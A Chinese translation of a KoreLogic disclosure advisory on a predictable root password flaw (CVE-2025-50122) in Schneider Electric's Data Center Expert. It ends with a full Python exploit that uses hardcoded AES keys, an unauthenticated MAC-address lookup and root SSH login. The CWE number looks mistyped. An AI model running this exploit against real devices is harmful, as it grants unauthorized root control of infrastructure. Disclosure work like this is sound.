施耐德电气数据中心专家系统root密码生成漏洞技术分析

本文详细分析了施耐德电气EcoStruxure IT Data Center Expert设备中存在的root密码生成漏洞。通过逆向工程发现系统使用固定密钥和MAC地址生成可预测的密码,并提供了完整的PoC代码实现未授权获取root权限。

KL-001-2025-008: 施耐德电气EcoStruxure IT数据中心专家Root密码发现漏洞

1. 漏洞详情

  • 受影响厂商: 施耐德电气
  • 受影响产品: EcoStruxure IT数据中心专家
  • 受影响版本: 8.3及之前版本
  • 平台: CentOS
  • CWE分类: CWE-6311: 熵不足
  • CVE ID: CVE-2025-50122

2. 漏洞描述

数据中心专家(“DCE”)设备使用JAR文件中的逻辑和MAC地址来计算root账户的"随机"密码。通过访问JAR文件并知晓MAC地址,可以确定root密码。

3. 技术描述

根据施耐德电气的官方声明,该公司不允许客户访问系统后端,将数据中心专家视为"黑盒"或封闭系统,不提供这些系统的root密码。

静态分析发现,root密码是通过使用设备的MAC地址生成"随机"密码来构建的。该算法也可用于显示明文密码。root密码生成的逻辑位于ttgio.jar文件中,该文件可被反编译。

数据中心专家使用双重加密和混合函数,以MAC地址作为种子生成root密码。设备在两次加密轮次中使用静态密钥和IV。任何知晓MAC地址的攻击者都可以生成root密码。

MAC地址可以通过ARP条目获取(如果攻击者在同一网络上,v8.1.1),或者如果设备(v8.2.0.239)可网络访问,则可以从任何来源远程获取。API端点/isxg/v1/internal/server可在无需认证的情况下访问,响应中包含DCE设备的MAC地址。

4. 缓解和修复建议

EcoStruxure IT数据中心专家9.0版本包含对这些漏洞的修复,可通过施耐德电气客户服务中心获取。参考:https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-189-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-189-01.pdf

5. 致谢

该漏洞由KoreLogic公司的Jaggar Henry和Jim Becher发现。

6. 披露时间线

  • 2024-11-21: KoreLogic向施耐德电气CPCERT报告漏洞详情
  • 2024-11-22: 厂商确认收到KoreLogic的提交
  • 2024-12-06: 厂商确认报告的漏洞
  • 2024-12-12: 厂商请求与KoreLogic开会讨论修复时间线
  • 2024-12-18: KoreLogic和施耐德电气同意将漏洞详情保密至2025年7月产品更新9.0
  • 2025-01-29: 厂商提供状态更新
  • 2025-03-17: 厂商提供包含修复的测试版
  • 2025-06-20: 厂商通知KoreLogic公开披露日期为2025-07-08
  • 2025-07-08: 厂商公开披露
  • 2025-07-09: KoreLogic公开披露

7. 概念验证代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
$ cat unauth2root.py
import urllib3
import pexpect
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Exploit:
    def __init__(self, ip_address, web_port=443):
        self.ip_address = ip_address
        self.web_port   = web_port

    def find_mac_address(self):
        # 从API请求MAC地址(无需认证)
        target_url  = f'https://{self.ip_address}:{self.web_port}/isxg/v1/internal/server'
        mac_address = requests.get(target_url, verify=False).json().get('isxcMacAddress')
        return mac_address

    def generate_password(self, mac_address):
        # 加密常量
        key_a = bytes.fromhex('A29A9412A2C7241D4771AED354EE10D4')
        key_b = bytes.fromhex('CC3CE2F049FB96928F62C36F1D896053')
        iv_a  = bytes.fromhex('E610C6053C19BD6517EA71F85904B0C4')
        iv_b  = bytes.fromhex('52DB914876C743AD0AD571DA5D04903C')

        # 将MAC地址转换为字节
        mac_bytes = bytes(int(x, 16) for x in mac_address.split(":"))

        # 双重加密
        aes_encryptor_a = AES.new(key_a, AES.MODE_CBC, iv_a)
        aes_encryptor_b = AES.new(key_b, AES.MODE_CBC, iv_b)
        encrypted_once  = aes_encryptor_a.encrypt(pad(mac_bytes, AES.block_size))
        encrypted_twice = aes_encryptor_b.encrypt(pad(encrypted_once, AES.block_size))

        # 混合加密字节
        byte = 7
        expanded = bytearray(16)
        for i in range(16):
            encrypted_byte = encrypted_twice[i % len(encrypted_twice)]
            byte = (3 * byte) + encrypted_byte
            byte &= 0xFF
            expanded[i] = byte

        # 归一化到ASCII范围(33-126)
        result = bytearray(16)
        for i, byte in enumerate(expanded):
            normalized = byte - 256 if byte > 127 else byte
            while normalized < 33:
                normalized += 33
            if normalized > 126:
                normalized = (normalized - 33) % 94 + 33
            result[i] = normalized & 0xFF

        return result.decode()

    def connect_via_ssh(self, password):
        # 启动交互式SSH客户端
        arguments = ['-t', '-l', 'root', self.ip_address, '/bin/bash']
        session = pexpect.spawn('ssh', arguments, encoding='utf-8')
        session.expect('password:')
        session.sendline(password)
        session.interact()

    def execute(self):
        mac_address = self.find_mac_address()
        print(f'[+] MAC地址:   {mac_address}')
        password = self.generate_password(mac_address)
        print(f'[+] Root密码: {password}')
        self.connect_via_ssh(password)

exploit = Exploit('192.168.2.90')
exploit.execute()

执行结果:

1
2
3
4
5
6
[attacker@box]$ python unauth2root.py
[+] MAC地址:   00:0c:29:d7:18:f1
[+] Root密码: <63-776.z*/<cJ!3

[root@dce ~]# id
uid=0(root) gid=0(root) groups=0(root)

本公告内容版权(c) 2025归KoreLogic公司所有,采用知识共享署名-相同方式共享4.0(美国)许可协议授权:http://creativecommons.org/licenses/by-sa/4.0/

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计